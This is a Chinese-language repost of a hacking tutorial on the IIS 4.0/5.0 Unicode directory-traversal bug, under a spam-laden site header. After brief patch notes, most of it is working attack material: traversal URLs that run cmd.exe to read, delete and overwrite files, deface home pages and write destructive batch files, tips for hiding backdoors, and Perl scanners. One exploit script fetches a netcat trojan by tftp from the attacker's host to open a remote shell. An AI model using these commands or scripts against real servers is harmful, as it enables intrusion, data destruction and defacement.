麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 網站 > WEB服務 > 正文

IIS UNICODE Bug

2020-10-30 18:16:26
字體:
來源:轉載
供稿:網友

一.存在的漏洞
1. 微軟IIS 4.0 / 5.0 存在擴展UNICODE目錄遍歷漏洞,該漏洞既是一遠程漏洞,同時也是一本地漏洞。
受影響的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
不受影響的版本:
漏洞描述:
微軟IIS 4.0和5.0都存在利用擴展UNICODE字符取代"/"和"\"而能利用"../"
目錄遍歷的漏洞。
未經授權的用戶可能利用IUSR_machinename賬號的上下文空間訪問任何已知
的文件。該賬號在默認情況下屬于Everyone 和Users組的成員,因此任何與
Web根目錄在同一邏輯驅動器上的能被這些用戶組訪問的文件都能被刪除,
修改或執行,就如同一個用戶成功登陸所能完成的一樣。
測試方法:
http://target.computer/scripts/..%c1%1c../path/solo.txt
%c0%af = /
%c1%9c = 解決方案:
該漏洞補丁隨微軟安全公告MS00-057一起發布
(http://www.microsoft.com/technet/security/bulletin/ms00-057.asp)
可以從如下地址下載補丁:
IIS 4.0
http://www.microsoft.com/ntserver/nts/downloads/critical/q301625/default.asp
IIS 5.0
http://www.microsoft.com/windows2000/downloads/critical/q301625/default.asp
2.IIS 4.0/5.0 unicode解碼漏洞導致文件泄漏或執行
IIS 4.0和IIS 5.0在Unicode字符解碼的實現中存在一個安全漏洞,導致用戶可以遠程通過IIS執行任意命令。當IIS打開文件時,如果該文件名包含unicode字符,它會對其進行解碼,如果用戶提供一些特殊的編碼,將導致IIS錯誤的打開或者執行某些web根目錄以外的文件。
對于IIS 5.0/4.0中文版,當IIS收到的URL請求的文件名中包含一個特殊的編碼例如"%c1%hh"
或者"%c0%hh",它會首先將其解碼變成:0xc10xhh, 然后嘗試打開這個文件,Windows 系統
認為0xc10xhh可能是unicode編碼,因此它會首先將其解碼,如果 0x00<= %hh < 0x40的話,
采用的 解碼的格式與下面的格式類似:
%c1%hh -> (0xc1 - 0xc0) * 0x40 + 0xhh
%c0%hh -> (0xc0 - 0xc0) * 0x40 + 0xhh
因此,利用這種編碼,我們可以構造很多字符,例如:
%c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
N %c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '/'
攻擊者可以利用這個漏洞來繞過IIS的路徑檢查,去執行或者打開任意的文件。
(1) 如果系統包含某個可執行目錄,就可能執行任意系統命令。下面的URL可能
列出當前目錄的內容:
http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
(2) 利用這個漏洞查看系統文件內容也是可能的:
http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
Rain Forest Puppy <[email protected]>測試發現對于英文版的IIS 4.0/5.0,此問題同樣
存在,只是編碼格式略有不同,變成"%c0%af"或者"%c1%9c".
2. 臨時解決方法:
1、如果不需要可執行的CGI,可以刪除可執行虛擬目錄,例如 /scripts等等。
2、如果確實需要可執行的虛擬目錄,建議可執行虛擬目錄單獨在一個分區
廠商補丁:
微軟已經發布了一個安全公告MS00-78,您可以在下列地址看到更詳細的內容:
http://www.microsoft.com/technet/Security/Bulletin/ms00-078.asp
補丁可以從下列地址下載:
Microsoft IIS 4.0:
http://www.microsoft.com/ntserver/nts/downloads/critical/q301625/default.asp
Microsoft IIS 5.0:
http://www.microsoft.com/windows2000/downloads/critical/q301625/default.asp
二.UNICODE漏洞的原理
  上述漏洞一從中文IIS4.0+SP6開始,還影響中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,臺灣繁體中文也同樣存在這樣的漏洞。
  中文版的WIN2000中,UNICODE編碼 存在BUG,在UNICODE 編碼中
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
  在NT4中/編碼為%c1%9c
  在英文版里:WIN2000英文版%c0%af
  但從國外某些站點得來的資料顯示,還有以下的編碼可以實現對該漏洞的檢測, %c1%pc
%c0%9v
%c0%qf
%c1%8s
%e0%80%af
%f0%80%80%af
%fc%80%80%80%80%af
三。UNICODE漏洞的檢測
  以下均以中文版WIN2K為例,如果是其他NT版本,按上面所述的編碼替換以下代碼中的%c1%1c最簡單的檢測方法:
比如說有一IP地址為X.X.X.X的WIN2K主機,我們可以在地址欄輸入x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir如果存在此漏洞的話,我們便可以看到以下的內容:(例子假設SCRIPTS目錄里無文件)
Directory of C:\inetpub\scripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..
  實際上也可以改為這樣127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/r+dir即r=c 這個字母的取代,關于r這字母可以等效于c,我們可以通過cmd/?可以得到解釋。
  當然,如果目標主機的管理員把該目錄刪除掉,我們就無法看到了,但是還有以下的目錄是同樣可以用來測試的。
http://x.x.x.x/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
運行后,我們可以看到
Directory of c:\program files\common files\system\msadc
2000-08-06 19:16
.
2000-08-06 19:16
..
(以下內容略)
19 File(s) 1,233,840 bytes
2 Dir(s) 6,290,644,992 bytes free
  如果漏洞和目錄同時存在的話,你就可以在WEB頁上看到相對應的目錄里的一切內容。這僅是對單一目標主機的漏洞檢測,如果想對某一IP段上的NT主機做UNICODE漏洞的檢測,我們就需要使用類似以下的掃描軟件。以下的源碼是外國黑客寫的,當然就只掃描英文版的NT,要掃描中文版的,需要做相應的修改。
#!/usr/bin/perl
#Root Shell Hackers
#piffy
#this is a quick scanner i threw together while supposedly doing homework in my room.
#it will go through a list of sites and check if it gives a directory listing for the new IIS hole
#it checks for both %c0%af and %c1%9c
#perhaps a public script to do some evil stuff with this exploit later... h0h0h0
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $def = new LWP::UserAgent;
my @host;
print "root shell hackers\n";
print "iis cmd hole scanner\n";
print "coded by piffy\n";
print "\nWhat file contains the hosts: ";
chop (my $hosts=);
open(IN, $hosts) || die "\nCould not open $hosts: $!";
while ()
{
$host[$a] = $_;
chomp $host[$a];
$a++;
$b++;
}
close(IN);
$a = 0;
print "ph34r, scan started";
while ($a < $b)
{
my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
&second()
}

sub second() {
my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url2);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
$a++;
}
  以上的pl程序你可以在本機運行(當然需要安裝PERL),也可以在遠程的
服務器上運行。
四. UNICODE編碼漏洞簡單利用的命令
  一般情況下我們用http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir看到的目錄是空的:(例如)
Directory of C:\inetpub\scripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..
  如果我們這樣輸入的話:http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到該主機c:盤的目錄和文件。
其它的一些簡單的用法:
1、顯示文件內容
  如果想顯示里面的其中一個badboy.txt文本文件,我們可以這樣輸入(htm,html,asp,bat等文件都是一樣的)http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:\badboy.txt
那么該文件的內容就可以通過IE顯示出來。
2、建立文件夾的命令
  http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\badboy運行后我們可以看到
返回這樣的結果:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
英文意思是CGI錯誤
具體的CGI申請有誤,不能返回完整的HTTP標題,返回的標題為:
3、刪除空的文件夾命令
  http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\badboy
返回信息同上
4、刪除文件的命令
  http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\badboy.txt
返回信息同上
5、copy文件且改名的命令
  http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\badboy.txt bad.txt
返回信息:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
1 file(s) copied.
、顯示目標主機當前的環境變量
  http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+set
返回的信息:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
ALLUSERSPROFILE=E:\Documents and Settings\All Users
AUTH_TYPE=Negotiate
AUTH_USER=BADBOYCL-DQQZQQ\badboy
CASL_BASEDIR_ENV=E:\scan\CyberCop Scanner\casl
CommonProgramFiles=E:\Program Files\Common Files
COMPUTERNAME=BADBOYCL-DQQZQQ
ComSpec=E:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=127.0.0.1
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
HTTP_AUTHORIZATION=Negotiate TlRMTVNTUAADAAAAGAAYAIgAAAAYABgAoAAAAB4AHgBAAAAADA
AMAF4AAAAeAB4AagAAAAAAAAC4AAAABYKAgEIAQQBEAEIATwBZAEMATAAtAEQAUQBRAFoAUQBRAGIAY
QBkAGIAbwB5AEIAQQBEAEIATwBZAEMATAAtAEQAUQBRAFoAUQBRAODLOAUsBqOAQ3/+AfwqHKj8Q2vz
SAGGgkD6hCEY0EoOIKZVHMr4lmc1Ju37n7SleT==
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTPS=off
INSTANCE_I
7、把某個文件夾內的全部文件一次性COPY到另外的文件夾
  http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+xcopy c:\badboy c:\inetpub\wwwroot
返回的信息:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
  我們查看c:\inetpub\wwwroot文件夾,結果所有c:\badboy內的都拷貝到該目錄里了
8、把某個文件夾剪貼到指定的目錄
  http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+move c:\badboy c:\inetpub\wwwroot呵呵,還是可以做到的,時間的長短要看文件的多少了。
9、顯示某一路徑下相同文件類型的文件內容
  http://127.0.0.1/scripts/..%c1%1c..\winnt/system32/find.exe?/n+/v+""+c:\inetpub\wwwroot\*.ht*
  完全顯示出來呀!同樣,還有很多命令可以執行,大家可以試試,不過有些時間會很久,有些是不能執行的。解釋+號,在這里+等于空格鍵,當然你也可以用空格鍵,用空格鍵運行后會轉換為%20 和%c1%1c=/是同一道理的。對于名字超過8個字母的文件夾,如果我們想看里面的內容時就有點不同了比如說我們想看目標主機Program Files文件夾里面的內容時,應該這樣輸入
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\progra~1
  這里就不能用+或者%20來代替program與files間的空格。
要看aa bb文件夾,方法就是以下http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:\aabb~1
aa bb=aabb~1
  如果同目錄下還有aab b文件夾,就用這樣的代碼看aab b文件夾里的內容http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:\aabb~2
依此類推。
五。如何簡單地修改目標主機的web頁面
  一般情況下,我們要修改目標主機的web文件,常用到的方法是利用echo回顯、管道工具。
  這些命令和管道工具的功能如下:
D:\>echo/?
顯示信息,或將命令響應打開或關上。
ECHO [ON | OFF]
ECHO [message]
僅鍵入 ECHO 而不加參數,可以顯示當前的 ECHO 設置。
管道工具> >>的功能
"> >>" 是將命令產生的輸出重新定向,比如寫到某個文件或輸出到打印機中.
>>產生的內容將追加進文件中,>則將原文件內容覆蓋。
再看看cmd/?里面的部分內容:
  請注意,如果字符串有引號,可以接受用命令分隔符 '&&' 隔開的多個命令。并且,由于兼容原因,/X 與 /E:ON 相同,/Y 與/E:OFF 相同,并且 /R 與 /C 相同。忽略任何其它命令選項。
  如果指定了 /C 或 /K,命令選項后的命令行其余部分將作為命令行處理;在這種情況下,會使用下列邏輯處理引號字符("):
1. 如果符合下列所有條件,那么在命令行上的引號字符將被保留:
- 不帶 /S 命令選項
- 整整兩個引號字符
- 在兩個引號字符之間沒有特殊字符,特殊字符為下列中的
一個: <>()@^|
- 在兩個引號字符之間有至少一個空白字符
- 在兩個引號字符之間有至少一個可執行文件的名稱。
2. 否則,老辦法是,看第一個字符是否是一個引號字符,如果是,舍去開頭的字符并刪除命令行上 的最后一個引號字符,保留最后一個引號字符之后的文字:
從以上可以得到什么啟示?
  我們知道IIS加載程序檢測到有CMD.EXE或者COMMAND.COM串就要檢測特殊字符"&|(,;%<>",如果發現有這些字符就會返回500錯誤,所以不能直接使用CMD.EEX加管道符等。
  通過
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+badboy+> c:\badboy.txt
  我們可以看到提示 HTTP 500 - 內部服務器錯誤 Internet Explorer
  經過反復測試,并從上面cmd內容的提示,我們可以會發現"引號字符是可以利用的,中聯綠盟的yuange(袁哥)發布過關于這字符的公告,我想也許也是從上面的cmd/?信息中得到提示的,(純屬個人猜想,如果不是,請yuange不要見怪)。
  我們要得到echo與>的結合使用,可以這樣操作。
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+badboy+> c:\badboy.txt
  注意,與開始的命令的區別只在于cmd后面多了個"字符。運行后我們可以看到返回這樣的結果:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
  英文意思是 CGI錯誤 具體的CGI申請有誤,不能返回完整的HTTP標題,返回的標題為:
  實際上,我們已經把badboy寫入到c:\badboy.txt文件里了。
  利用這樣的方法我們可以建立.bat .txt .asp .htm .html 等文件,這對于一個存在這漏洞的網站可以說是致命打擊的開始,尤其是能寫.bat文件如果我們在autoexe.bat里面加入format del等命令時,你想結果會如何??
  回到修改網站頁面的問題來。
  比如說想修改c:\inetpub\wwwroot\default.asp
  我們就可以這樣在地址欄輸入:
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+your+site+has+unicode+bug+> c:\inetpub\wwwroot\default.asp
  那么再看他的首頁時,已經被修改為
your site has unicode bug
  事情就那么簡單,任何一個普通人都可以通過地址欄對存在該漏洞的目標主機做最簡單的HACK行為。
  當然,如果為了方便輸入,我們可以把cmd.exe改名為其他名字的文件,比如說c.exe
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\c.exe
  以后使用就可以直接
http://x.x.x.x/scripts/c.exe?/c+echo+badboy+> c:\badboy.txt
六.網絡里可得到的一些UNICODE掃描程序的分析
1、簡單易用的red.exe
操作平臺:win9x、NT4、WIN2K
  該軟件可以在一些中文黑客軟件收藏庫里找到下載。red.exe是中國大陸的一位HACK技術愛好者Redp0wer用C++編寫的針對某一IP段的NT主機UNICODE編碼漏洞的命令行式掃描工具,該工具掃描速度快,掃描準確。可以在本地和遠程NT肉機上執行掃描工作,并產生一個簡單的掃描報告RED.txt (僅記錄所掃描的IP段的NT主機的IP地址)。該軟件對目標NT主機scripts、IISADMPWD、msadc、cgi-bin、_vti_bin目錄都做UNICODE編碼漏洞的測試。
  如果你僅能在本地機上對某個IP段進行掃描,且是固定IP地址的用戶,在使用該軟件時,你須注意你的掃描行為實際上也把你自己暴露給對方。且容易被對方抓住把柄狀告你有入侵行為。我們可以從事件查看器里發現執行的足跡
應用程序日志c:\WINNT\system32\config\AppEvent.Evt
安全日志C:\WINNT\System32\config\SecEvent.Evt
系統日志C:\WINNT\system32\config\SysEvent.Evt
  我們分析該軟件的源碼可以看到:GET /%s/%s/winnt/system32/cmd.exe?/c%scopy%s%s:\\winnt\\system32\\cmd.exe%s%s\\red.exe HTTP/1.0\n\n如果從安全掃描工具來說,是不應該對所掃描的目標主機做任何文件的增加和修改。所以,在你還不知道怎么消除你的足跡和利用肉機來執行掃描時,最好不要利用這軟件作為你的掃描工具。
2、比較全面的UNICODE工具Uni2.pl
  只要支持PERL,就可以利用這工具來對目標主機進行UNICODE編碼漏洞的掃描。該程序可以對所有存在UNICODE編碼漏洞的NT版本進行掃描測試。以下為該軟件的源程序,具體如何操作就不做詳細解說了
#!/usr/bin/perl
#
# Uni2.pl checks a host for the recent IIS unicode vulnerability
# in 14 different ways. Also gives you the browser URL for the
# exploit. Origionally Stealthmode316, modifications by Roeland
#
#
use Socket;
# --------------init
if ($#ARGV<0) {die "UNICODE-CHECK
Example: ./uni.pl www.target.com:80\n";}
#($host,$port)=split(/:/,@ARGV[0]);
($host = @ARGV[0]);
$port = 80;
$target = inet_aton($host);
$flag=0;
# ---------------test method 1
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 2
my @results=sendraw("GET /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 3
my @results=sendraw("GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 4
my @results=sendraw("GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 5
my @results=sendraw("GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 6
my @results=sendraw("GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 7
my @results=sendraw("GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 8
my @results=sendraw("GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 9
my @results=sendraw("GET /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 10
my @results=sendraw("GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 11
my @results=sendraw("GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 12
my @results=sendraw("GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 13
my @results=sendraw("GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}}
# ---------------test method 14
my @results=sendraw("GET /msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir HTTP/1.0\r\n\r\n
");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir\n";}}
if ($flag!=1) {
print "$host: Not vulnerable\n";
exit;
}
sub sendraw {
$hbn = gethostbyname($host);
if ($hbn) {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,gethostbyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)) {
my @in;
select(S);
$|=1;
print $pstr;
while(){
push @in, $_;
}
select(STDOUT);
close(S);
return @in;
} else {
print "$host: Can't connect\n";
exit;
}
} else {
print "$host: Host not found\n";
exit;
}
}
3、攻擊型NIT_UNICODE軟件套裝
下載地址http://packetstorm.securify.com/0011-exploits/NIT_UNICODE.zip
壓縮包里含有以下文件:
uni.pl -------掃描UNICODE編碼漏洞的主PERL程序
uniexe.pl -----執行TFTP過程的PERL程序
ncx99.exe -----一個把telnet端口設置在99的netcat木馬
tftpd32.exe -----TFTP設置軟件
tftpd32.hlp -----幫助文件
flie_id.diz
vendinfo.diz
readme.file -----使用說明和例子
  該程序包主要利用unicode編碼漏洞,把ncx99.exe上傳到目標主機,并啟動,使攻擊者可以通過telnet 目標主機的99端口,登陸到目標主機上進行攻擊行為。
  以下程序在使用時需要修改一些東西,找到$command="tftp -i .xxx.xxx.xxx GET ncx99.exe c:\\inetpub\\scripts\\nit.exe"; 這句,把xxx.xxx.xxx.xxx.xxx修改為你的IP地址,然后存盤。這句主要是把NCX99.EXE從你的主機改名傳到目標主機c:\inetpub\scripts\去。另外還需要根據目標主機的NT版本,對程序里的..%c0%af..做相應的修改,比如說目標主機是WIN2K就修改為..%c1%1c..
#!/usr/bin/perl
# This is for educational purpose's only!
# WHO LET THEM DOGS OUT!
# Use uni.pl first to see if this is a vulnerable server!
# Based of the script unicodeexecute.pl from Roelof Temmngh
# Files=uniexe.pl,uni.pl,readme.file,tftpd32.exe,exploit.readme
use Socket;
if ($#ARGV<0) {die "Usage: uniexe.pl IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$target = inet_aton($host);
$failed=1;
$command="dir";
@results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n\cls");
foreach $line (@results){
if ($line =~ /nit.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {
#You need to change the .xxx.xxx.xxx to your ip address. Duh!
$command="tftp -i .xxx.xxx.xxx GET ncx99.exe c:\\inetpub\\scripts\\nit.exe";
$command=~s/ /\%20/g;
@results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
foreach $line2 (@results2){
if (($line2 =~ /nit.exe/ )) {$failed2=0;}
}
}
$command=@ARGV[1];
print "\n
Hit CTRL-C if this is Hanging";
$command=~s/ /\%20/g;
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP [email protected]
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||2) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# NIT IN THE YEAR 2000
$failed=1;
$command="dir";
@results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n\cls");
foreach $line (@results){
if ($line =~ /nit.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {
#You need to change the .xxx.xxx.xxx to your ip address. Duh!
$command="tftp -i .xxx.xxx.xxx GET ncx99.exe c:\\inetpub\\scripts\\nit.exe";
$command=~s/ /\%20/g;
@results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
foreach $line2 (@results2){
if (($line2 =~ /nit.exe/ )) {$failed2=0;}
}
}
$command=@ARGV[1];
print "\n
Hit CTRL-C if this is Hanging";
$command=~s/ /\%20/g;
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP [email protected]
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||2) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }

}
# NIT IN THE YEAR 2000
七.unicode編碼漏洞提高篇
并不是說有UNICODE編碼漏洞,以下的方法就能完全成功,主要給你一種思考的
方式,做到活學活用,舉一反三,繁衍出更多更好的利用方法,提高對目標主機攻
擊成功機率,使UNICODE編碼漏洞的危害性讓管理員們更加重視。
讀懂MCD幫助里面的內容尤其是這方面的內容:
請注意,如果字符串有引號,可以接受用命令分隔符 '&&' 隔開
的多個命令。并且,由于兼容原因,/X 與 /E:ON 相同,/Y 與
/E:OFF 相同,并且 /R 與 /C 相同。忽略任何其它命令選項。
如果指定了 /C 或 /K,命令選項后的命令行其余部分將作為命令行處
理;在這種情況下,會使用下列邏輯處理引號字符("):
1. 如果符合下列所有條件,那么在命令行上的引號字符將被
保留:
- 不帶 /S 命令選項
- 整整兩個引號字符
- 在兩個引號字符之間沒有特殊字符,特殊字符為下列中的
一個: <>()@^|
- 在兩個引號字符之間有至少一個空白字符
- 在兩個引號字符之間有至少一個可執行文件的名稱。
2. 否則,老辦法是,看第一個字符是否是一個引號字符,如果
是,舍去開頭的字符并刪除命令行上 的最后一個引號字符,
保留最后一個引號字符之后的文字。
再熟悉一下利用ECHO寫入法把一些特殊字符寫到文本文件的轉換格式
<等于%3C >等于%3E /等于%2F \等于%5C =等于%3D +等于%2B (等于%28
)等于%29 #等于%23 $等于%24 %等于%25 ^等于%5E &等于%26 "等于%22
|等于%7C ;等于%3B '等于%27 :等于%3A ?等于%3F ,等于%2C ~等于%7E
!等于%21
另外三個字符可以直接寫入 - @ *
警告:
以下所有方法具有嚴重的危險性,主機管理人員可以通過以下方法檢測自己主機
的安全性,了解該漏洞的嚴重后果;個人HACK愛好者請在本機測試。
由于實驗而造成的一切后果和法律糾紛,由實驗者自己承擔。
1、bat命令法
很多文章都沒有介紹如何在unicode編碼漏洞中如何利用BAT命令,實際上運用
批處理,可以執行很多在地址欄里無法執行的命令,并且可以簡化你輸入的過程。
例子:
baddel.bat
del /f /s /q c:\files\*.*
rd c:\files
我們可以這樣建立和執行
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+del%20/f%20/s%20/q%20c:\files\*.*>baddel.bat
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+rd%20c:\files>>baddel.bat
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+baddel
結果C盤里的files目錄和文件都被刪除了。
如果我們把批處理改為format d:/q之類的話,那么D盤就被格式化了。
同樣,你可以運用批處理進行更多的攻擊,那你就需要好好復習DOS的命令及應用了。
注意:上面第三行的代碼就是執行baddel.bat,這里.bat不要輸入
2、attrib的運用
用這命令查文件屬性和修改文件的屬性。
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?c:\inetpub\wwwroot\index.htm
運行后,我們可以看到index.htm的文件屬性,往往有時我們無法修改這文件,是因為這文件設為只讀。
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20%2br%20%2bh%20d:\inetpub\wwwroot\index.htm
運行后,我們可以把index.htm文件設為只讀、隱藏。如果我們把某個后門程序
隱藏起來,并且管理沒有設置所有文件可見,那么是不是很方便上傳的東西不
被管理員發現呢?
注意這里%2b等于+
